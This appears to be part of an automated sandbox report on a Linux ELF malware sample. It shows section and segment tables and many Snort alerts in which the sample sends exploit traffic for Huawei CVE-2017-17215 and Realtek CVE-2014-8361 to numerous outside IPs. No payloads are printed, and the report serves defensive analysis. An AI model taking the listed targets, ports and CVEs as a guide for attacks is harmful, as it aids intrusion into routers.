	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x2406e	0x0	0x6	AX	4
.fini	PROGBITS	0x80024116	0x24116	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x80024124	0x24124	0x390a	0x0	0x2	A	2
.ctors	PROGBITS	0x80029a34	0x27a34	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x80029a40	0x27a40	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80029a60	0x27a60	0x4910	0x0	0x3	WA	32
.bss	NOBITS	0x8002e370	0x2c370	0xc738	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x2c370	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x27a2e	0x27a2e	6.2924	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x27a34	0x80029a34	0x80029a34	0x493c	0x11074	0.4654	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/20/24-23:01:14.516654	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47970	52869	192.168.2.13	18.101.167.39
07/20/24-23:01:27.297470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49398	37215	192.168.2.13	123.170.138.193
07/20/24-23:01:06.812618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49304	37215	192.168.2.13	41.140.44.33
07/20/24-23:01:06.820921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45000	37215	192.168.2.13	197.197.183.19
07/20/24-23:00:59.022751	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57056	37215	192.168.2.13	197.109.166.112
07/20/24-23:01:02.607205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36476	37215	192.168.2.13	157.141.29.177
07/20/24-23:01:27.226586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43572	37215	192.168.2.13	157.156.52.27
07/20/24-23:01:19.586614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45182	52869	192.168.2.13	148.238.53.45
07/20/24-23:01:06.343282	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51742	52869	192.168.2.13	9.155.213.68
07/20/24-23:01:22.738019	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45424	37215	192.168.2.13	157.195.203.155
07/20/24-23:01:27.229449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43740	37215	192.168.2.13	41.164.74.99
07/20/24-23:01:04.858015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55316	37215	192.168.2.13	41.154.239.57
07/20/24-23:01:06.801544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36954	37215	192.168.2.13	197.9.246.231
07/20/24-23:01:08.369553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33370	37215	192.168.2.13	157.39.99.25
07/20/24-23:01:36.799485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45476	37215	192.168.2.13	41.6.220.227
07/20/24-23:01:27.204639	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36970	37215	192.168.2.13	197.7.176.177
07/20/24-23:00:59.019910	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49448	37215	192.168.2.13	157.34.28.229
07/20/24-23:01:14.998444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48702	37215	192.168.2.13	157.124.41.173
07/20/24-23:01:36.787101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60860	37215	192.168.2.13	197.157.73.107
07/20/24-23:01:14.542240	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57976	52869	192.168.2.13	154.241.18.163
07/20/24-23:01:04.855996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41752	37215	192.168.2.13	197.17.10.227
07/20/24-23:01:04.597721	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35790	52869	192.168.2.13	27.117.118.67
07/20/24-23:01:02.678688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58604	37215	192.168.2.13	41.236.26.155
07/20/24-23:01:20.436074	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44146	52869	192.168.2.13	188.71.38.105
07/20/24-23:01:32.259330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59440	37215	192.168.2.13	1.100.100.157
07/20/24-23:01:12.504870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56734	37215	192.168.2.13	197.33.104.162
07/20/24-23:00:59.022586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41912	37215	192.168.2.13	196.108.28.41
07/20/24-23:01:04.908543	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39118	37215	192.168.2.13	157.71.160.191
07/20/24-23:01:21.675919	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39482	52869	192.168.2.13	84.175.23.63
07/20/24-23:01:27.229449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44440	37215	192.168.2.13	41.158.160.89
07/20/24-23:00:59.020716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56970	37215	192.168.2.13	192.48.206.157
07/20/24-23:01:36.787101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58900	37215	192.168.2.13	157.233.230.86
07/20/24-23:01:04.994187	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41804	52869	192.168.2.13	158.159.28.203
07/20/24-23:01:25.391404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60716	37215	192.168.2.13	125.85.149.118
07/20/24-23:01:06.159043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49820	52869	192.168.2.13	24.166.198.46
07/20/24-23:01:36.850220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46086	37215	192.168.2.13	41.243.47.143
07/20/24-23:01:27.352822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58344	52869	192.168.2.13	78.15.229.242
07/20/24-23:01:14.523933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36116	52869	192.168.2.13	23.86.160.85
07/20/24-23:00:59.023193	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50670	37215	192.168.2.13	197.56.38.36
07/20/24-23:01:06.798722	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37822	37215	192.168.2.13	88.21.18.99
07/20/24-23:01:25.388755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43644	37215	192.168.2.13	87.172.255.48
07/20/24-23:01:25.397771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60550	37215	192.168.2.13	197.68.253.229
07/20/24-23:01:32.248799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35022	37215	192.168.2.13	157.198.177.151
07/20/24-23:01:25.404749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40624	37215	192.168.2.13	197.240.53.199
07/20/24-23:01:06.121824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40936	52869	192.168.2.13	171.117.89.236
07/20/24-23:02:10.892680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34326	52869	192.168.2.13	116.119.255.178
07/20/24-23:01:36.781770	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49162	37215	192.168.2.13	62.132.204.169
07/20/24-23:01:04.859993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56376	37215	192.168.2.13	41.158.187.102
07/20/24-23:01:32.207539	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40170	37215	192.168.2.13	17.74.167.61
07/20/24-23:01:25.413015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41520	37215	192.168.2.13	197.65.13.85
07/20/24-23:01:20.573336	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49396	52869	192.168.2.13	141.20.36.175
07/20/24-23:01:36.781255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39534	37215	192.168.2.13	157.213.169.109
07/20/24-23:01:04.870311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38046	37215	192.168.2.13	197.78.107.93
07/20/24-23:01:02.594487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33622	37215	192.168.2.13	41.215.54.255
07/20/24-23:01:08.381624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46144	37215	192.168.2.13	41.249.67.102
07/20/24-23:01:06.820921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58964	37215	192.168.2.13	41.73.30.10
07/20/24-23:01:06.813789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49100	37215	192.168.2.13	41.36.47.12
07/20/24-23:01:14.536390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57074	52869	192.168.2.13	153.33.151.65
07/20/24-23:01:14.550185	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55344	52869	192.168.2.13	44.173.173.82
07/20/24-23:01:12.360354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53234	37215	192.168.2.13	89.59.219.11
07/20/24-23:01:14.539379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35368	52869	192.168.2.13	19.96.215.60
07/20/24-23:01:14.520422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52688	52869	192.168.2.13	150.134.45.104
07/20/24-23:01:14.513211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51854	52869	192.168.2.13	164.103.95.95
07/20/24-23:01:27.286229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34686	37215	192.168.2.13	41.86.141.31
07/20/24-23:01:27.289200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36642	37215	192.168.2.13	88.243.83.197
07/20/24-23:01:24.625501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40340	37215	192.168.2.13	157.191.47.210
07/20/24-23:01:06.798920	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57556	37215	192.168.2.13	157.154.111.104
07/20/24-23:01:06.851270	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33414	52869	192.168.2.13	106.43.123.108
07/20/24-23:01:22.810997	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55076	37215	192.168.2.13	38.115.42.6
07/20/24-23:01:27.366334	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45152	52869	192.168.2.13	139.159.183.229
07/20/24-23:01:06.800492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33708	37215	192.168.2.13	197.228.188.147
07/20/24-23:01:15.000722	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35926	37215	192.168.2.13	197.113.123.195
07/20/24-23:01:06.643290	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56782	52869	192.168.2.13	216.194.176.131
07/20/24-23:01:14.542853	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49440	52869	192.168.2.13	110.74.122.205
07/20/24-23:01:02.703502	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55220	37215	192.168.2.13	157.155.116.140
07/20/24-23:01:06.677271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33434	52869	192.168.2.13	71.95.23.241
07/20/24-23:01:14.504881	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34520	52869	192.168.2.13	180.57.201.161
07/20/24-23:01:02.607205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44092	37215	192.168.2.13	197.206.209.177
07/20/24-23:00:59.020328	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42776	37215	192.168.2.13	197.245.35.233
07/20/24-23:01:06.809008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55944	37215	192.168.2.13	157.189.73.200
07/20/24-23:01:07.239221	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58620	52869	192.168.2.13	80.21.51.67
07/20/24-23:01:06.655486	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58990	52869	192.168.2.13	126.183.166.233
07/20/24-23:01:12.517792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54460	37215	192.168.2.13	197.87.42.249
07/20/24-23:01:07.245627	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47458	52869	192.168.2.13	110.74.122.205
07/20/24-23:01:22.743882	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57064	37215	192.168.2.13	41.177.88.164
07/20/24-23:01:02.682054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33042	37215	192.168.2.13	197.218.185.44
07/20/24-23:01:25.404749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39796	37215	192.168.2.13	157.255.242.205
07/20/24-23:01:36.852816	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55220	37215	192.168.2.13	197.140.4.23
07/20/24-23:00:59.021109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32816	37215	192.168.2.13	41.4.10.141
07/20/24-23:01:14.566461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60598	52869	192.168.2.13	80.21.51.67
07/20/24-23:01:25.388789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36928	37215	192.168.2.13	157.124.65.87
07/20/24-23:01:06.662973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48600	52869	192.168.2.13	125.82.19.196
07/20/24-23:01:04.874130	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57240	37215	192.168.2.13	197.150.40.90
07/20/24-23:01:25.390486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60798	37215	192.168.2.13	77.192.178.62
07/20/24-23:01:04.848636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51304	37215	192.168.2.13	221.227.34.24
07/20/24-23:00:59.022895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50812	37215	192.168.2.13	104.140.179.113
07/20/24-23:01:02.703502	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48162	37215	192.168.2.13	197.75.193.161
07/20/24-23:01:22.739607	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53604	37215	192.168.2.13	197.76.209.136
07/20/24-23:01:07.206375	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53418	52869	192.168.2.13	47.222.214.79
07/20/24-23:01:04.907419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53438	37215	192.168.2.13	157.159.38.106
07/20/24-23:01:08.419092	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37310	37215	192.168.2.13	197.183.121.78
07/20/24-23:00:59.019865	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51480	37215	192.168.2.13	124.38.65.99
07/20/24-23:01:14.522190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40700	52869	192.168.2.13	121.104.50.97
07/20/24-23:01:04.848080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33872	37215	192.168.2.13	157.200.220.148
07/20/24-23:01:08.449909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43154	37215	192.168.2.13	197.173.217.200
07/20/24-23:01:14.525838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34546	52869	192.168.2.13	78.145.139.16
07/20/24-23:01:22.746773	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46466	37215	192.168.2.13	41.149.121.17
07/20/24-23:01:06.901569	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36166	52869	192.168.2.13	87.8.107.75
07/20/24-23:01:09.544104	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52138	37215	192.168.2.13	157.117.65.6
07/20/24-23:01:14.518211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36848	52869	192.168.2.13	65.224.243.64
07/20/24-23:01:36.781604	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47934	37215	192.168.2.13	157.140.157.0
07/20/24-23:01:15.063531	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57024	37215	192.168.2.13	137.85.81.139
07/20/24-23:01:04.870311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46644	37215	192.168.2.13	41.212.233.130
07/20/24-23:00:59.022701	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35044	37215	192.168.2.13	197.35.252.89
07/20/24-23:01:27.297470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33350	37215	192.168.2.13	178.41.195.47
07/20/24-23:01:14.527949	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46836	52869	192.168.2.13	57.86.64.87
07/20/24-23:00:59.021675	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60170	37215	192.168.2.13	197.17.13.19
07/20/24-23:01:07.613848	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49650	52869	192.168.2.13	50.131.46.205
07/20/24-23:01:22.806676	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43962	37215	192.168.2.13	157.35.218.6
07/20/24-23:01:05.435609	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50598	52869	192.168.2.13	139.23.112.9
07/20/24-23:01:27.289200	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51740	37215	192.168.2.13	157.198.64.111
07/20/24-23:01:06.453953	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57656	52869	192.168.2.13	138.96.171.141
07/20/24-23:01:05.526864	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59510	52869	192.168.2.13	139.0.230.132
07/20/24-23:01:12.504870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52142	37215	192.168.2.13	194.79.75.113
07/20/24-23:01:04.893876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32858	37215	192.168.2.13	47.238.173.9
07/20/24-23:01:12.492810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35194	37215	192.168.2.13	18.120.15.161
07/20/24-23:01:27.447773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33596	52869	192.168.2.13	89.83.219.148
07/20/24-23:00:59.021019	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50030	37215	192.168.2.13	157.207.241.220
07/20/24-23:00:59.021890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44740	37215	192.168.2.13	197.238.40.168
07/20/24-23:01:13.831634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47588	37215	192.168.2.13	157.152.48.180
07/20/24-23:01:25.456960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50488	37215	192.168.2.13	41.166.6.127
07/20/24-23:01:36.780648	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39076	37215	192.168.2.13	41.33.246.45
07/20/24-23:01:21.653411	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59900	52869	192.168.2.13	52.137.120.101
07/20/24-23:01:08.435254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43218	37215	192.168.2.13	41.152.248.171
07/20/24-23:01:36.852816	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36816	37215	192.168.2.13	197.130.43.43
07/20/24-23:02:11.344274	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34470	37215	192.168.2.13	154.144.48.222
07/20/24-23:01:05.603594	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46284	52869	192.168.2.13	89.57.196.100
07/20/24-23:01:04.908544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44576	37215	192.168.2.13	41.108.193.243
07/20/24-23:01:06.808312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40726	37215	192.168.2.13	222.170.225.11
07/20/24-23:00:59.022603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34624	37215	192.168.2.13	41.88.134.99
07/20/24-23:01:05.628783	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49612	52869	192.168.2.13	152.161.224.79
07/20/24-23:01:32.206638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55610	37215	192.168.2.13	197.70.190.105
07/20/24-23:01:36.793382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43100	37215	192.168.2.13	41.33.115.94
07/20/24-23:01:04.546140	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59034	52869	192.168.2.13	170.113.9.186
07/20/24-23:01:14.569004	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43374	52869	192.168.2.13	183.244.92.210
07/20/24-23:01:07.284195	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41386	52869	192.168.2.13	76.214.57.173
07/20/24-23:01:05.458663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39604	52869	192.168.2.13	213.139.43.137
07/20/24-23:02:07.841025	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36792	37215	192.168.2.13	197.142.201.149
07/20/24-23:01:04.568491	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57152	52869	192.168.2.13	209.200.229.61
07/20/24-23:01:08.407500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49316	37215	192.168.2.13	41.158.251.34
07/20/24-23:01:02.695891	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47758	37215	192.168.2.13	157.113.83.79
07/20/24-23:01:14.522654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35906	52869	192.168.2.13	143.19.210.21
07/20/24-23:01:05.576315	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35158	52869	192.168.2.13	97.132.111.117
07/20/24-23:01:03.938194	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53184	52869	192.168.2.13	47.131.156.7
07/20/24-23:01:14.506916	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43206	52869	192.168.2.13	57.30.119.39
07/20/24-23:01:36.808711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52498	37215	192.168.2.13	41.20.192.113
07/20/24-23:01:02.613456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37842	37215	192.168.2.13	41.31.110.255
07/20/24-23:01:12.357074	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43458	37215	192.168.2.13	41.61.28.16
07/20/24-23:01:36.852816	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44818	37215	192.168.2.13	157.43.91.131
07/20/24-23:01:14.559539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59584	52869	192.168.2.13	138.96.171.141
07/20/24-23:01:20.299062	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38572	52869	192.168.2.13	103.178.1.192
07/20/24-23:01:25.413015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60734	37215	192.168.2.13	197.139.111.126
07/20/24-23:01:17.730454	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53226	37215	192.168.2.13	41.179.120.224
07/20/24-23:01:22.737100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39954	37215	192.168.2.13	41.224.102.140
07/20/24-23:01:32.199687	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40884	37215	192.168.2.13	25.126.196.156
07/20/24-23:01:14.521197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57054	52869	192.168.2.13	216.1.152.81
